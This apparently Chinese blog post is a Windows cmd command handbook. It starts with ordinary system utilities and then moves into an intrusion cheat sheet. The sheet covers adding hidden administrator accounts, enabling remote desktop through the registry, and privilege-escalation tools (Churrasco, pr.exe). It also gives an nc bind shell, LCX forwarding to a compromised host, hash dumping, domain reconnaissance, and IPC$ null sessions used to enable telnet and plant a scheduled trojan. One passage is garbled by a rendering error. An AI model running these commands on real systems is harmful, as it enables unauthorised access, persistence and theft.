windows——cmd/Dos 批处理命令手册bat

妖狐艹你老母 2021-07-25 14:14 825阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]

--------------------

### 操作系统 服务命令列表 ###

*  winver－－－－－－－－－检查windows版本  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 1]

--------------------

wmimgmt.msc－－－－打开windows管理体系结构(wmi)

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 2]

--------------------

wupdmgr Windows更新程序  
wscript Windows脚本宿主设置

文档  
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/wscript

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 3]

--------------------

write－－－－－－－－－－写字板  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 4]

--------------------

winmsd－－－－－－－－－系统信息

--------------------

wiaacmgr－－－－－－－扫描仪和照相机向导

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 5]

--------------------

winchat－－－－－－－－xp自带局域网聊天

mem.exe－－－－－－－－显示内存使用情况

msconfig.exe－－－系统配置实用程序

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 6]

--------------------

mplayer2－－－－－－－简易 widnowsmediaplayer 媒体播放机

mspaint－－－－－－－－画图板

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 7]

--------------------

mstsc－－－－－－－－－－远程桌面连接

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 8]

--------------------

magnify－－－－－－－－放大镜实用程序  
![在这里插入图片描述][20210613095932954.png]

--------------------

mmc－－－－－－－－－－－－打开控制台

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 9]

--------------------

mobsync－－－－－－－－同步命令

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 10]

--------------------

dxdiag－－－－－－－－－检查directx信息

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 11]

--------------------

drwtsn32－－－－－－系统医生

devmgmt.msc－－－设备管理器

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 12]

--------------------

dfrg.msc－－－－－－－磁盘碎片整理程序

diskmgmt.msc－－－磁盘管理实用程序

dcomcnfg－－－－－－－打开系统组件服务

ddeshare－－－－－－－打开dde共享设置

dvdplay－－－－－－－－dvd播放器

nslookup－－－－－－－ip地址侦测器

netstopmessenger－－－－－停止信使服务

netstartmessenger－－－－开始信使服务

notepad－－－－－－－－打开记事本

nslookup－－－－－－－网络管理的工具向导

ntbackup－－－－－－－系统备份和还原

narrator－－－－－－－屏幕“讲述人”

ntmsmgr.msc－－－－移动存储管理器

ntmsoprq.msc－－－移动存储管理员操作请求

netstat－an－－－－(tc)命令检查接口

syncapp－－－－－－－－创建一个公文包

sysedit－－－－－－－－系统配置编辑器

sigverif－－－－－－－文件签名验证程序

sndrec32－－－－－－－录音机

shrpubw－－－－－－－－创建共享文件夹

secpol.msc－－－－－本地安全策略

syskey－－－－－－－－－系统加密，一旦加密就不能解开，保护windowsxp系统的双重密码

services.msc－－－本地服务设置

sndvol32－－－－－－－音量控制程序

sfc.exe－－－－－－－－系统文件检查器

sfc/scannow－－－windows文件保护(扫描错误并复原)

tsshutdn－－－－－－－60秒倒计时关机命令

tourstart－－－－－－xp简介（安装完成后出现的漫游xp程序）

taskmgr－－－－－－－－任务管理器（2000／xp／2003）

eventvwr－－－－－－－事件查看器

eudcedit－－－－－－－造字程序

explorer－－－－－－－打开资源管理器

packager－－－－－－－对象包装程序

perfmon.msc－－－－计算机性能监测程序

progman－－－－－－－－程序管理器

regedit.exe－－－－注册表

rsop.msc－－－－－－－组策略结果集

regedt32－－－－－－－注册表编辑器

rononce－p－－－－15秒关机

regsvr32/u\*.dll－－－－停止dll文件运行

regsvr32/uzipfldr.dll－－－－－－取消zip支持

cmd.exe－－－－－－－－cmd命令提示符

chkdsk.exe－－－－－chkdsk磁盘检查

certmgr.msc－－－－证书管理实用程序

calc－－－－－－－－－－－启动计算器

charmap－－－－－－－－启动字符映射表

cliconfg－－－－－－－sqlserver客户端网络实用程序

clipbrd－－－－－－－－剪贴板查看器

conf－－－－－－－－－－－启动netmeeting

compmgmt.msc－－－计算机管理

cleanmgr－－－－－－－LJ整理

ciadv.msc－－－－－－索引服务程序

osk－－－－－－－－－－－－打开屏幕键盘

odbcad32－－－－－－－odbc数据源管理器

oobe/msoobe/a－－－－检查xp是否激活

lusrmgr.msc－－－－本机用户和组

logoff－－－－－－－－－注销命令

iexpress－－－－－－－木马捆绑工具，系统自带

fsmgmt.msc－－－－－共享文件夹管理器

utilman－－－－－－－－辅助工具管理器

gpedit.msc－－－－－组策略

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 13]

CMD部分提权常用命令

ipconfig         显示本地IP地址
    whoami
    net user　　　　　　　　　　　　查看所有用户列表
    echo %username%
    systeminfo
    net user admin password /add
    net localgroup Administrators admin /add
    net start telnet           开telnet服务
    net use z:127.0.0.1c$　　　　　映射对方的C盘 
    attrib    隐藏文件

开3389

- Windows 控制台注册表工具
     调用3.0注册表的一个命令
     REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add /?   查看 命令 使用方法
    REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
    KeyName [\\Machine\]FullKey
    
    
    REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
            [/reg:32 | /reg:64]
    
      KeyName  [\\Machine\]FullKey
               Machine  远程机器名 - 忽略默认到当前机器。远程机器上
                        只有 HKLM 和 HKU 可用。
               FullKey  ROOTKEY\SubKey
               ROOTKEY  [ HKLM | HKCU | HKCR | HKU | HKCC ]
               SubKey   所选 ROOTKEY 下注册表项的完整名称。
    
      /v       所选项之下要添加的值名称。
    
      /ve      为注册表项添加空白值名称(默认)。
    
      /t       RegKey 数据类型
               [ REG_SZ    | REG_MULTI_SZ | REG_EXPAND_SZ |
                 REG_DWORD | REG_QWORD    | REG_BINARY    | REG_NONE ]
               如果忽略，则采用 REG_SZ。
    
      /s       指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
               如果忽略，则将 "\0" 用作分隔符。
    
      /d       要分配给添加的注册表 ValueName 的数据。
    
      /f       不用提示就强行覆盖现有注册表项。
    
     /reg:32  指定应该使用 32 位注册表视图访问的注册表项。
    
     /reg:64  指定应该使用 64 位注册表视图访问的注册表项。
    
    例如:
    
      REG ADD \\ABC\HKLM\Software\MyCo
        添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo
    
      REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
        添加一个值(名称: Data，类型: REG_BINARY，数据: fe340ead)
    
      REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
        添加一个值(名称: MRU，类型: REG_MULTI_SZ，数据: fax\0mail\0\0)
    
      REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
        添加一个值(名称: Path，类型: REG_EXPAND_SZ，数据: %systemroot%)
        注意: 在扩充字符串中使用插入符号 ( ^ )

查终端端口

HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

巴西烤肉 Churrasco.exe “命令”

使用方法：

C:\\RECYCLER\\Churrasco.exe “net user xiaoma xiaoma /add && net localgroup administrators xiaoma /add”

C:\\RECYCLER\\Churrasco.exe “net user admin$ /del” 删除帐号

query user 查看会话

logoff ID号 踢掉

C:\\RECYCLER\\Churrasco.exe “logoff 1”

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

NC反弹

路径\\nc.exe -l -p 端口 -t -e 路径\\cmd.exe

c:\\RECYCLER\\nc.exe -l -p 1234 -t -e c:\\RECYCLER\\cmd.exe

NC上传

DOS界面下运行:

NC -vv www.baidu.com 80<1.txt

\-vv: 回显

80: www端口

1.txt: 就是你要发送的数据包

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

LCX端口转发

先本地监听51端口 lcx.exe -listen 51 3389

c:\\recycler\\lcx.exe -slave 自己的ip 51 肉鸡IP 3389 LCX转发

c:\\recycler\\lcx.exe -slave 222.222.222.222 51 111.111.111.111 3389

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

360提权

1.开启终端服务，端口为3389；用法：360.exe “port”  
2.替换5下shift为cmd；用法：360.exe “sethc”

====================================================================

gethash使用

C:\\RECYCLER\\gethash.exe $local

=========================================================================

pr提权

c:\\recycler\\cmd.exe  
c:\\recycler\\pr.exe

pr.exe “net user xiaoma xiaoma /add & net localgroup administrators xiaoma /add”

================================================================================  
rar.exe打包命令

cmd.exe /c “\\Program Files\\winrar\\rar.exe” a -r d:\\wwwroot\\1.rar d:\\wwwroot

@查询本机的一些情况  
　　ipconfig /all  
　　@查询存在关系的机器  
　　Net view  
　　@查询有几个域  
　　nei view /damin  
　　@查看 testdomain域中的计算机列表  
　　net view /domain:testdomain  
　　@查询域内的组  
　　net group /domain  
　　@划分网段  
　　dsquery subnet  
　　@查询域内用户  
　　net user /domain  
　　@查询域内组信息  
　　net group /domain  
　　@查询域管理用户组  
　　net group “domain admins” /domain  
　　@查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息！  
　　net user domain-admin /domain  
　　@查询域内计算机  
　　net group “domain computers” /domain  
　　@判断机器属于哪个域  
　　net config Workstation  
　　@判断主域.主域服务器都做时间服务器  
　　net time /domian //这招是在LCX牛的文章里面学会的  
　　net group “domain admins” /domain  
　　@ipc域内连接  
　　net use \\IP\\ipc$ password /user:username@domain  
　　====  
　　猜测内网结构的一些命令和工具  
　　====  
　　tracert 10.1.0.1  
　　ping x.x.x.x  
　　nbtscan -r 192.168.16.0/24  
　　@扫描某个段的一些东西 //感谢玫瑰大叔的工具。感谢猫师傅给我说这个东东  
　　hd.exe -hscan 10.0.0.1-10.0.0.255 /a /t 200  
　　还有一个内网结构图形化表现工具  
　　dude ///感谢影叔 感谢LInux520群得朋友说  
　　还有一部分没有整理。过段时间在发上来吧~ 欢迎各位牛一起交流内网渗透。

--------------------

# systeminfo #

![在这里插入图片描述][20210105163024260.png]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 14]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 15]

# 获取NETBIOS主机名 #

*  ping -a IP
 *  ping命令测试网络连接  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 16]

# net account #

*  net命令管理网络环境

该命令用于  
更新用户的账户数据库，  
并且为所有账户修改密码和登录需求，

如：强制用户在时间到期之后多久必须注销、  
密码最长/短使用期限、密码长度下限、锁定阈值、锁定持续时间、  
锁定观测窗口和计算机角色等详细信息

format:  
“net accounts \[/forcelogoff:\{minutes|no\}\]\[/minpwlen:length\]\[/maxpwage:\{days|unlimited\}\]\[/minpwage:days\]\[/uniquepw:number\]\[/sync\]\[/domain\]”  
  
for example:  
“net accounts”

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 17]  
![在这里插入图片描述][20210105165121550.png]

*  net computer  
    该命令用于添加或者删除域数据库中的计算机，  
    所有计算机的添加和删除都会转发到主域控制器  
    ![在这里插入图片描述][20210105165305548.png]  
    format：“net computer \\computername \{/add|/del\}”  
    ![在这里插入图片描述][20210105165421422.png]
 *  net config

该命令用于显示工作站或服务器服务的配置消息，  
或者显示并更改某项服务的设置

format：“net config \[service\[options\]\]”

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 18]

![在这里插入图片描述][20210105170954126.png]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 19]

*  net config workstation  
    命令用于显示更改配置工作站服务参数，更改立即生效并永久保持

format：“net config workstation \[/charcount:bytes\]\[/chartime:msec\]\[/charwait:sec\]”

![在这里插入图片描述][20210105171206788.png]

*  net continue

该命令能用重新激活挂起的服务

format：“net continue service”

*  net file

用于显示某种服务器上所有打开的共享文件夹及锁定文件夹数，  
也可以关闭个别文件并取消文件锁定

![在这里插入图片描述][20210105173951897.png]

*  net group

用于Windows NT Server域中添加、更改或显示全局组，  
仅在Windows NT Server域中可用

format：  
“net group \[groupname \[/comment:“text”\]\]\[/domain\]  
net group groupname \{/add\[/comment:“text”\]|delete\}\[/domain\]  
net group groupname username\[…\]\{/add|/delete\}\[/domain\]”

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 20]

*  net help

该命令用于提供网络命令列表及帮助主题，

format：“net help \[command\] net command \{/help|/?\}”

*  net localgroup

用于显示、删除或更改本地组

format：  
“net localgroup \[groupname \[/comment:“text”\]\]\[/domain\]  
net localgroup groupname\{/add \[/comment:“text”\]|/delete\}\[/domain\]  
net localgroup groupname name\[…\]\{/add|/delete\}\[/domain\]”

*  net name

用于添加或删除消息名（有时称别名），或显示计算机接受消息的列表。要使用该命令则必须先运行信使服务

format：”net name\[name \[/add|/delete\]\]“

*  net print

用于显示或控制打印作业及打印队列

format：”net print \\computername  
net print \\sharename  
net print \[\\computername\] job\# \[/hold|/release|/delete\]“

*  net session

用于列出或断开本地计算机和与之连接的客户端会话

format：”net session \[\\computername\]\[/delete\]“

*  net send

用于向网络的其他用户、计算机发送消息。要接受消息必须运行信使服务

format：”net send \{name|\*|/domain\[:name\]|/users\} message“

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 21]

*  net share

用于创建、删除或显示共享资源

format：”net share sharename  
net share sharename=drive:path \[/users:number|/unlimited\]\[/remark:“text”\]  
net share sharename \[/users:number|unlimited\]\[/remark:“text”\]  
net share \{sharename|drive:path\} /delete“

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 22]

*  net time

用于时计算机的时间与另一台计算机或域的时间同步。  
不带/set参数时，将显示另外一台计算机或域的时间

format：”net time \[\\computername|/domain\[:name\]\]\[/set\]“

![在这里插入图片描述][2021010517470756.png]

# telnet命令进行远程登陆 #

格式

format：”telnet ip地址/主机名称“

步骤

输入”telnet 主机名/ip地址“启动telnet会话

一旦telnet成功连接到远程计算机上，就显示登陆信息并提示用户输入用户名和口令

如果输入正确就能成功的登录并在远程计算机上工作

# 使用ftp命令进行数据传输 #

格式

format：”ftp -v -d -l -n -g \[主机名\]“

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 23]

# 使用netstat命令查看网络连接的相关信息 #

使用netstat -a命令：显示所有连接和端口

使用netstat -b命令：显示包含创建每个连接或者监听端口的可执行文件

使用netstat -e命令：显示以太网数据统计，可以结合-s使用

使用netstat -n命令：能以网络IP地址代替名称，显示网络连接情形

netstat /help查看命令帮助。。。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 24]

# 使用tracert命令查看IP数据报的传输路径 #

tracert是路由跟踪实用程序，该命令用于确定IP数据包访问目标所采取的路径

format：  
“tracert \[-d\]\[-h maximum\_hops\]\[-j host-list\]\[-w timeout\] targer\_name”  
for example:“tracert 主机名”

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 25]

# IPC$入侵与防范 #

建立IPC$连接

format：“net use \\IP\\ipc$ Password/user:Admin”  
  
IP:目标ip地址  
Password：目标计算机密码  
Admin：目标计算机用户名  
建立映射

format：“net use z:\\IP\\c$”  
  
\\IP\\c $ 表示目标电脑上的C盘，符号$表示隐藏的共享，  
z:表示将远程主机的C盘映射为本地磁盘的盘符

查看远程连接

format：“net use \* /del”

空连接漏洞

format：“net use \\ip “” /user:"" ” --注意一共有四个空格 引号不能少  
IPC$连接原本是要求客户机具有足够的权限才能连接到主机，  
然而该漏洞允许客户端使用空用户名和密码就可以与目标主机成功建立连接。  
虽然这样无法执行管理类操作，  
既不能映射网络驱动器、上传文件、执行脚本命令，  
但是却可以用来探测目标主机中的一些信息。

Telnet入侵

使用telnet入侵前必须建立IPC$连接，  
建立连接是为了方便开启远程计算机中被禁用的telnet服务

format：“sc \\ip config tlntsvr start=auto” --用sc命令把禁用的telnet服务变成自动  
“sc \\ip start tlntsvr” --用sc命令启动telnet服务  
“telnet ip” --登录telnet  
“net share” --查看默认共享  
“net share sharename=drive:path” --建立cKaTeX parse error: Undefined control sequence: \\1 at position 18: … “copy \\̲1̲.txt \\\\ip\\c” --copy命令上传木马 这里是把命令行切到c盘下了，1.txt在C盘根目录  
“at \\ip time cmd” --at命令定时执行 time参数为时间 cmd为上传到目标主机共享的程序名 即木马  
“net user 用户名 密码 /add” --添加用户  
“net localgroup administrators 用户名 /add” --为上一步添加的用户名加入工作组  
注意：如果对方采用了NTLM认证策略，  
可以连接网络注册表修改  
HKEYLOCAL\\MACHINE\\SOFTWARE\\MICROSOFT\\TELNETSERVERf\\1.0 下的  
NTLM键值由2改成0，然后重启telnet服务

通过注册表入侵

Windows注册表是帮助  
Widnows控制软硬件 、用户环境和Windows界面的一套数据文件，  
入侵者可在注册表编辑器中  
通过连接网络注册表进入远程计算机的注册表并进行实时监控。  
如果想阻止该入侵，只需要关闭Remote Registry服务

--------------------

QQ 1274510382  
Wechat JNZ\_aming  
商业联盟 QQ群538250800  
技术搞事 QQ群599020441  
解决方案 QQ群152889761  
加入我们 QQ群649347320  
共享学习 QQ群674240731  
纪年科技aming  
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。

叮叮叮：产品已上线 —>关注 官方-微信公众号——济南纪年信息科技有限公司  
民生项目：商城加盟/娱乐交友/创业商圈/外包兼职开发-项目发布/  
安全项目：态势感知防御系统/内网巡查系统  
云服项目：动态扩容云主机/域名/弹性存储-数据库-云盘/API-AIeverthing  
产品咨询/服务售后（同）

## 纸上得来终觉浅,绝知此事要躬行 ！！！   寻找志同道合伙伴创业中。。。抱团滴滴aming联系方式！! ##

--------------------

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]: /images/20210725/d869e1f9ae5049ccb844d8f1417c5428.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 1]: /images/20210725/b72304de350e48acbc1ce10e8970c3ac.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 2]: /images/20210725/6cf0b255cf934d528e13f5279c6c1a84.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 3]: /images/20210725/c4b04f01c9f5487e8def530ebc609c1e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 4]: /images/20210725/1dd5c7c94573446a8c1d9b6eadee8b0d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 5]: /images/20210725/cb0a4da6e0bf4cd8abadb2d479437957.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 6]: /images/20210725/d325fa9eecfc42abb1ba7d805b006ce1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 7]: /images/20210725/e3c0ebb8c7a341ffb07939970b9ec360.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 8]: /images/20210725/122cf65fc5594e2cbd36833ad8537a7c.png
[20210613095932954.png]: /images/20210725/a592a1e8269b4d8bad8bbefde0d29ac3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 9]: /images/20210725/fcfd00b69b7b429bb6e715bd7ff00d94.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 10]: /images/20210725/5283e2f626b840bdb23653aaec11d85e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 11]: /images/20210725/b7e7cbed50da4452b566993b2ce03a28.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 12]: /images/20210725/7f962db250034298ad3d5f8e09c8d188.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 13]: /images/20210725/2a9a735041924824abd48307e1abb369.png
[20210105163024260.png]: /images/20210725/951247e4b0ae4472868c2961656ef72e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 14]: /images/20210725/fb8441e2b99449828a64cbce42215a87.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 15]: /images/20210725/0d989ddc2efb44ec8592a5e329c5be4b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 16]: /images/20210725/f3762cb61d4f40408af687aa55ec2619.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 17]: /images/20210725/5c8ce3c9d99b4d2f908a0fc0d36e5c04.png
[20210105165121550.png]: /images/20210725/6a5dad7602e94c64b8f056da05c238b7.png
[20210105165305548.png]: /images/20210725/5b0b66d02b7545e982da3e5eb6f76485.png
[20210105165421422.png]: /images/20210725/70996b63dbce41d28a09f1cd771591d9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 18]: /images/20210725/bbf7a0fda13a44ca872268a83c25116f.png
[20210105170954126.png]: /images/20210725/80d7c54d18554fa7bdd0d6cce727477a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 19]: /images/20210725/0d7ec4222f71431fae5ec4a42f28d85e.png
[20210105171206788.png]: /images/20210725/3d0c9aaa2ce640e99919589d8828c3ee.png
[20210105173951897.png]: /images/20210725/691cdf6182e944088f8f6498fdfe778d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 20]: /images/20210725/bae85654f7e24a5a8b1ba693380da99f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 21]: /images/20210725/06538ea2754c4c5cbde88fba1c30e618.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 22]: /images/20210725/371043d5dfda4245a361d2b47b3e24fe.png
[2021010517470756.png]: /images/20210725/5ac9ba0d430e476aad70e55783bd5017.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 23]: /images/20210725/475ad0419a3a4f388ecf9d734884333b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 24]: /images/20210725/33a37e111686406c9fb3bd7b6cf403d0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70 25]: /images/20210725/783f5bd8ce9a4c908d572e4304c99c41.png